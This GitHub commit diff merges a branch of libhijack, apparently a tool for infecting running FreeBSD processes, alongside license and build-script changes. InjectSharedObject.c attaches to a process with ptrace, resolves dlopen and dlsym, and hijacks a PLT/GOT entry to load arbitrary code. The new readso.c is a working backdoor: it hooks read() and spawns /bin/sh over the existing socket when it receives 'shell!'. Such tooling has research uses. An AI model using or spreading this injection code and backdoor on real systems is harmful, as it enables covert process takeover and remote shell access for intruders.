Skip to content

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
Conflicts:
	freebsd_tests64/InjectSharedObject.c
	freebsd_tests64/Makefile
	freebsd_tests64/test.asm
	freebsd_tests64/testso.c
	src/Makefile
	src/ptrace.c
  • Loading branch information
lattera committed May 17, 2013
2 parents 63c7467 + 8079470 commit 2a6f720
Show file tree
Hide file tree
Showing 31 changed files with 1,185 additions and 261 deletions.
2 changes: 1 addition & 1 deletion LICENSE
@@ -1,4 +1,4 @@
Copyright (c) 2011, Shawn Webb
Copyright (c) 2011-2013, Shawn Webb
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Expand Down
82 changes: 82 additions & 0 deletions build.sh
@@ -0,0 +1,82 @@
#!/usr/bin/env bash

OS=$(uname -s)
ARCH=$(uname -m)

# Prefer clang, deprecate gcc
CC=$(which clang)
#CC=$(which gcc)
if [ ${#CC} -eq 0 ]; then
CC="gcc"
fi

PREFIX="/usr"
if [ ${OS} = "FreeBSD" ]; then
PREFIX="/usr/local"
fi

MAKE="make"
if [ ${OS} = "FreeBSD" ]; then
MAKE="gmake"
fi

build() {
cd src

${MAKE} PREFIX=${PREFIX} OS=${OS} ARCH=${ARCH} CC=${CC} $1
ret=$?

cd ..
return $ret
}

install() {
if [ ${UID} -gt 0 ]; then
echo "ERROR: Must be root to install. Exiting."
return 1
fi

build install
return $?
}

uninstall() {
if [ ${UID} -gt 0 ]; then
echo "ERROR: Must be root to deinstall. Exiting."
return 1
fi

build deinstall
return $?
}

case $1 in
build)
build
exit $?
;;
install)
install
exit $?
;;
clean)
build clean
exit $?
;;
deinstall|uninstall)
uninstall
exit $?
;;
help)
echo "USAGE: ${0} [build|install|deinstall]"
exit 1
;;
*)
build clean
if [ ! $? -eq 0 ]; then
exit $?
fi
build
exit $?
;;
esac
12 changes: 12 additions & 0 deletions freebsd_tests64/FindFunc.c
@@ -1,3 +1,15 @@
/*
* Copyright (c) 2011-2013, Shawn Webb
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Expand Down
12 changes: 12 additions & 0 deletions freebsd_tests64/FindSyscall.c
@@ -1,3 +1,15 @@
/*
* Copyright (c) 2011-2013, Shawn Webb
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Expand Down
76 changes: 48 additions & 28 deletions freebsd_tests64/InjectSharedObject.c
@@ -1,3 +1,15 @@
/*
* Copyright (c) 2011-2013, Shawn Webb
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
Expand All @@ -12,6 +24,7 @@

#include <hijack.h>
#include <hijack_func.h>
#include "os_resolv.h"

void usage(const char *name)
{
Expand All @@ -29,13 +42,16 @@ int main(int argc, char *argv[])
int fd;
REGS *regs, *backup;
int noaddr=0;
RTLD_SYM *sym;

if (argc != 5)
usage(argv[0]);

hijack = InitHijack();
#if 0
ToggleFlag(hijack, F_DEBUG);
ToggleFlag(hijack, F_DEBUG_VERBOSE);
#endif
AssignPid(hijack, atoi(argv[1]));

if (Attach(hijack) != ERROR_NONE)
Expand Down Expand Up @@ -68,27 +84,44 @@ int main(int argc, char *argv[])
close(fd);

LocateAllFunctions(hijack);
funcs = FindFunctionInLibraryByName(hijack, "/lib/libc.so.7", "dlopen");
if (!(funcs))
{
fprintf(stderr, "[-] Couldn't locate dlopen!\n");
sym = resolv_rtld_sym(hijack, "dlopen");
if (!(sym)) {
fprintf(stderr, "[-] Could not locate dlopen inside the RTLD\n");
Detach(hijack);
exit(EXIT_FAILURE);
}
dlopen_addr = funcs->vaddr;
printf("dlopen_addr: 0x%016lx\n", dlopen_addr);
exit(EXIT_FAILURE);
}
dlopen_addr = sym->p.ulp;
printf("dlopen_addr: 0x%016lx\n", sym->p.ulp);

funcs = FindFunctionInLibraryByName(hijack, "/lib/libc.so.7", "dlsym");
if (!(funcs))
{
fprintf(stderr, "[-] Couldn't locate dlsym!\n");
sym = resolv_rtld_sym(hijack, "dlsym");
if (!(sym)) {
fprintf(stderr, "[-] Could not locate dlsym inside the RTLD\n");
Detach(hijack);
exit(EXIT_FAILURE);
}
dlsym_addr = funcs->vaddr;
exit(EXIT_FAILURE);
}
dlsym_addr = sym->p.ulp;
printf("dlsym_addr: 0x%016lx\n", dlsym_addr);

memcpy(regs, backup, sizeof(REGS));

/* Ensure we can find the function reference before trying to map memory and perform the hooks */
funcs = FindAllFunctionsByName(hijack, argv[4], false);
for (func = funcs; func != NULL; func = func->next)
{
if (!(func->name))
continue;

pltgot_addr = FindFunctionInGot(hijack, hijack->pltgot, func->vaddr);
if (pltgot_addr > 0)
break;
}
if (!pltgot_addr) {
fprintf(stderr, "[-] Could not find function reference in the PLT/GOT.\n");
Detach(hijack);
exit(1);
}

printf("pltgot_addr: 0x%08lx\n", pltgot_addr);

LocateSystemCall(hijack);
filename_addr = MapMemory(hijack, (unsigned long)NULL, 4096,PROT_READ | PROT_EXEC | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE);
Expand Down Expand Up @@ -138,19 +171,6 @@ int main(int argc, char *argv[])
if (!noaddr)
memcpy(p1, &dlsym_addr, 8);

funcs = FindAllFunctionsByName(hijack, argv[4], false);
for (func = funcs; func != NULL; func = func->next)
{
if (!(func->name))
continue;

pltgot_addr = FindFunctionInGot(hijack, hijack->pltgot, func->vaddr);
if (pltgot_addr > 0)
break;
}

printf("pltgot_addr: 0x%08lx\n", pltgot_addr);

p1 = memmem(shellcode, sb.st_size, "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
if (!(p1)) {
perror("memmem");
Expand Down
14 changes: 7 additions & 7 deletions freebsd_tests64/Makefile
@@ -1,5 +1,5 @@
CC=clang
CFLAGS=-I../include -I/usr/src/libexec/rtld-elf -I/usr/src/libexec/rtld-elf/amd64 -DDEBUG -g -DFreeBSD -Damd64
CFLAGS=-I../include -I/usr/src/libexec/rtld-elf -I/usr/src/libexec/rtld-elf/amd64 -DDEBUG -g -DFreeBSD -Damd64 -L/usr/local/lib

all:
gmake InjectSharedObject
Expand All @@ -10,22 +10,22 @@ all:
gmake pid

clean:
rm -f *.o PrintFuncs FindSyscall
rm -f *.o PrintFuncs FindSyscall InjectSharedObject MapMemory FindFunc pid

pid: pid.c
${CC} -o pid pid.c
${CC} -o pid ${CFLAGS} -lpcap pid.c

InjectSharedObject: InjectSharedObject.c
${CC} -o InjectSharedObject ${CFLAGS} -lhijack InjectSharedObject.c

PrintFuncs: PrintFuncs.c
${CC} -o PrintFuncs ${CFLAGS} -lhijack PrintFuncs.c
${CC} -o PrintFuncs ${CFLAGS} -L${LIBHIJACK_PREFIX}/lib -lhijack PrintFuncs.c

FindSyscall: FindSyscall.c
${CC} -o FindSyscall ${CFLAGS} -lhijack FindSyscall.c
${CC} -o FindSyscall ${CFLAGS} -L${LIBHIJACK_PREFIX}/lib -lhijack FindSyscall.c

MapMemory: MapMemory.c
${CC} -o MapMemory ${CFLAGS} -lhijack MapMemory.c
${CC} -o MapMemory ${CFLAGS} -L${LIBHIJACK_PREFIX}/lib -lhijack MapMemory.c

FindFunc: FindFunc.c
${CC} -o FindFunc ${CFLAGS} -lhijack FindFunc.c
${CC} -o FindFunc ${CFLAGS} -L${LIBHIJACK_PREFIX}/lib -lhijack FindFunc.c
12 changes: 12 additions & 0 deletions freebsd_tests64/MapMemory.c
@@ -1,3 +1,15 @@
/*
* Copyright (c) 2011-2013, Shawn Webb
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Expand Down
59 changes: 59 additions & 0 deletions freebsd_tests64/readso.c
@@ -0,0 +1,59 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>

static void *dl;
ssize_t (*orig_read)(int, void *, size_t);

__attribute__((constructor)) void stub(void)
{
dl = dlopen("/lib/libc.so.7", RTLD_LAZY | RTLD_GLOBAL);
orig_read = dlsym(dl, "read");

}

void sigchld(int signo)
{
while (waitpid(-1, NULL, WNOHANG) > 0)
;
}

/*
* Fork a shell and re-use the current socket
*/
ssize_t read(int socket, void *buffer, size_t length)
{
ssize_t ret;
FILE *fp;
char filename[1024+1];

ret = orig_read(socket, buffer, length);
if (ret < strlen("shell!\n"))
return ret;
if (memcmp(buffer, "shell!", strlen("shell!")))
return ret;

if (fork())
return 0;
setsid();
if (fork())
return 0;

dup2(socket, fileno(stdin));
dup2(socket, fileno(stdout));
dup2(socket, fileno(stderr));
execl("/bin/sh", "sh", NULL);

return -1;
}

0 comments on commit 2a6f720

Please sign in to comment.